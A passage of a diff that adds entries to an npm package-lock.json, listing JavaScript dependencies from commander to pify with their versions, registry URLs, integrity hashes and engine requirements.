+ "node_modules/commander": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
+ "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/concat-map": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+ },
+ "node_modules/convert-source-map": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
+ "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
+ "dev": true
+ },
+ "node_modules/crypto-js": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz",
+ "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw=="
+ },
+ "node_modules/cssesc": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+ "bin": {
+ "cssesc": "bin/cssesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/csstype": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.2.tgz",
+ "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ=="
+ },
+ "node_modules/debug": {
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+ "dependencies": {
+ "ms": "2.1.2"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/detect-node-es": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz",
+ "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ=="
+ },
+ "node_modules/didyoumean": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+ "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
+ },
+ "node_modules/dlv": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+ "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
+ },
+ "node_modules/electron-to-chromium": {
+ "version": "1.4.361",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.361.tgz",
+ "integrity": "sha512-VocVwjPp05HUXzf3xmL0boRn5b0iyqC7amtDww84Jb1QJNPBc7F69gJyEeXRoriLBC4a5pSyckdllrXAg4mmRA==",
+ "dev": true
+ },
+ "node_modules/esbuild": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.17.16.tgz",
+ "integrity": "sha512-aeSuUKr9aFVY9Dc8ETVELGgkj4urg5isYx8pLf4wlGgB0vTFjxJQdHnNH6Shmx4vYYrOTLCHtRI5i1XZ9l2Zcg==",
+ "devOptional": true,
+ "hasInstallScript": true,
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "optionalDependencies": {
+ "@esbuild/android-arm": "0.17.16",
+ "@esbuild/android-arm64": "0.17.16",
+ "@esbuild/android-x64": "0.17.16",
+ "@esbuild/darwin-arm64": "0.17.16",
+ "@esbuild/darwin-x64": "0.17.16",
+ "@esbuild/freebsd-arm64": "0.17.16",
+ "@esbuild/freebsd-x64": "0.17.16",
+ "@esbuild/linux-arm": "0.17.16",
+ "@esbuild/linux-arm64": "0.17.16",
+ "@esbuild/linux-ia32": "0.17.16",
+ "@esbuild/linux-loong64": "0.17.16",
+ "@esbuild/linux-mips64el": "0.17.16",
+ "@esbuild/linux-ppc64": "0.17.16",
+ "@esbuild/linux-riscv64": "0.17.16",
+ "@esbuild/linux-s390x": "0.17.16",
+ "@esbuild/linux-x64": "0.17.16",
+ "@esbuild/netbsd-x64": "0.17.16",
+ "@esbuild/openbsd-x64": "0.17.16",
+ "@esbuild/sunos-x64": "0.17.16",
+ "@esbuild/win32-arm64": "0.17.16",
+ "@esbuild/win32-ia32": "0.17.16",
+ "@esbuild/win32-x64": "0.17.16"
+ }
+ },
+ "node_modules/escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+ "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/escape-string-regexp": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.8.0"
+ }
+ },
+ "node_modules/fast-glob": {
+ "version": "3.2.12",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.12.tgz",
+ "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==",
+ "dependencies": {
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "glob-parent": "^5.1.2",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=8.6.0"
+ }
+ },
+ "node_modules/fast-glob/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/fastq": {
+ "version": "1.15.0",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz",
+ "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==",
+ "dependencies": {
+ "reusify": "^1.0.4"
+ }
+ },
+ "node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/fraction.js": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz",
+ "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "type": "patreon",
+ "url": "https://www.patreon.com/infusion"
+ }
+ },
+ "node_modules/fs-extra": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
+ "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.2.0",
+ "jsonfile": "^6.0.1",
+ "universalify": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/fs.realpath": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+ },
+ "node_modules/fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/function-bind": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
+ "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
+ },
+ "node_modules/gensync": {
+ "version": "1.0.0-beta.2",
+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+ "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/get-nonce": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz",
+ "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/glob": {
+ "version": "7.1.6",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
+ "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
+ "dependencies": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.0.4",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ },
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/glob-parent": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+ "dependencies": {
+ "is-glob": "^4.0.3"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/globals": {
+ "version": "11.12.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/globrex": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/globrex/-/globrex-0.1.2.tgz",
+ "integrity": "sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg=="
+ },
+ "node_modules/goober": {
+ "version": "2.1.12",
+ "resolved": "https://registry.npmjs.org/goober/-/goober-2.1.12.tgz",
+ "integrity": "sha512-yXHAvO08FU1JgTXX6Zn6sYCUFfB/OJSX8HHjDSgerZHZmFKAb08cykp5LBw5QnmyMcZyPRMqkdyHUSSzge788Q==",
+ "peerDependencies": {
+ "csstype": "^3.0.10"
+ }
+ },
+ "node_modules/graceful-fs": {
+ "version": "4.2.11",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+ "dev": true
+ },
+ "node_modules/has": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+ "dependencies": {
+ "function-bind": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4.0"
+ }
+ },
+ "node_modules/has-flag": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+ "dependencies": {
+ "once": "^1.3.0",
+ "wrappy": "1"
+ }
+ },
+ "node_modules/inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+ },
+ "node_modules/invariant": {
+ "version": "2.2.4",
+ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
+ "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
+ "dependencies": {
+ "loose-envify": "^1.0.0"
+ }
+ },
+ "node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-core-module": {
+ "version": "2.12.0",
+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.12.0.tgz",
+ "integrity": "sha512-RECHCBCd/viahWmwj6enj19sKbHfJrddi/6cBDsNTKbNq0f7VeaUkBo60BqzvPqo/W54ChS62Z5qyun7cfOMqQ==",
+ "dependencies": {
+ "has": "^1.0.3"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-glob": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+ "dependencies": {
+ "is-extglob": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/jiti": {
+ "version": "1.18.2",
+ "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.18.2.tgz",
+ "integrity": "sha512-QAdOptna2NYiSSpv0O/BwoHBSmz4YhpzJHyi+fnMRTXFjp7B8i/YG5Z8IfusxB1ufjcD2Sre1F3R+nX3fvy7gg==",
+ "bin": {
+ "jiti": "bin/jiti.js"
+ }
+ },
+ "node_modules/js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+ },
+ "node_modules/jsesc": {
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+ "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+ "dev": true,
+ "bin": {
+ "jsesc": "bin/jsesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/json5": {
+ "version": "2.2.3",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+ "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+ "dev": true,
+ "bin": {
+ "json5": "lib/cli.js"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/jsonfile": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+ "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+ "dev": true,
+ "dependencies": {
+ "universalify": "^2.0.0"
+ },
+ "optionalDependencies": {
+ "graceful-fs": "^4.1.6"
+ }
+ },
+ "node_modules/lilconfig": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
+ "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
+ },
+ "node_modules/loose-envify": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+ "dependencies": {
+ "js-tokens": "^3.0.0 || ^4.0.0"
+ },
+ "bin": {
+ "loose-envify": "cli.js"
+ }
+ },
+ "node_modules/lru-cache": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+ "dev": true,
+ "dependencies": {
+ "yallist": "^3.0.2"
+ }
+ },
+ "node_modules/lucide-react": {
+ "version": "0.252.0",
+ "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.252.0.tgz",
+ "integrity": "sha512-98hUdm23F3YlC3UN4mzv1FAsWr81YYdxF31cYhm19c51FwOph4dn5B4NjKp45UXBiR1Xx+cKrdmSIZX0ldS8zw==",
+ "peerDependencies": {
+ "react": "^16.5.1 || ^17.0.0 || ^18.0.0"
+ }
+ },
+ "node_modules/magic-string": {
+ "version": "0.27.0",
+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.27.0.tgz",
+ "integrity": "sha512-8UnnX2PeRAPZuN12svgR9j7M1uWMovg/CEnIwIG0LFkXSJJe4PdfUGiTGl8V9bsBHFUtfVINcSyYxd7q+kx9fA==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/sourcemap-codec": "^1.4.13"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/merge2": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/micromatch": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+ "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+ "dependencies": {
+ "braces": "^3.0.2",
+ "picomatch": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=8.6"
+ }
+ },
+ "node_modules/minimatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+ "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+ "dependencies": {
+ "brace-expansion": "^1.1.7"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ },
+ "node_modules/mz": {
+ "version": "2.7.0",
+ "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
+ "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+ "dependencies": {
+ "any-promise": "^1.0.0",
+ "object-assign": "^4.0.1",
+ "thenify-all": "^1.0.0"
+ }
+ },
+ "node_modules/nanoid": {
+ "version": "3.3.6",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz",
+ "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/node-releases": {
+ "version": "2.0.10",
+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.10.tgz",
+ "integrity": "sha512-5GFldHPXVG/YZmFzJvKK2zDSzPKhEp0+ZR5SVaoSag9fsL5YgHbUHDfnG5494ISANDcK4KwPXAx2xqVEydmd7w==",
+ "dev": true
+ },
+ "node_modules/normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/normalize-range": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+ "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-assign": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-hash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+ "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "dependencies": {
+ "wrappy": "1"
+ }
+ },
+ "node_modules/path-is-absolute": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+ "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+ },
+ "node_modules/picocolors": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
+ "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ=="
+ },
+ "node_modules/picomatch": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "engines": {
+ "node": ">=8.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/pify": {
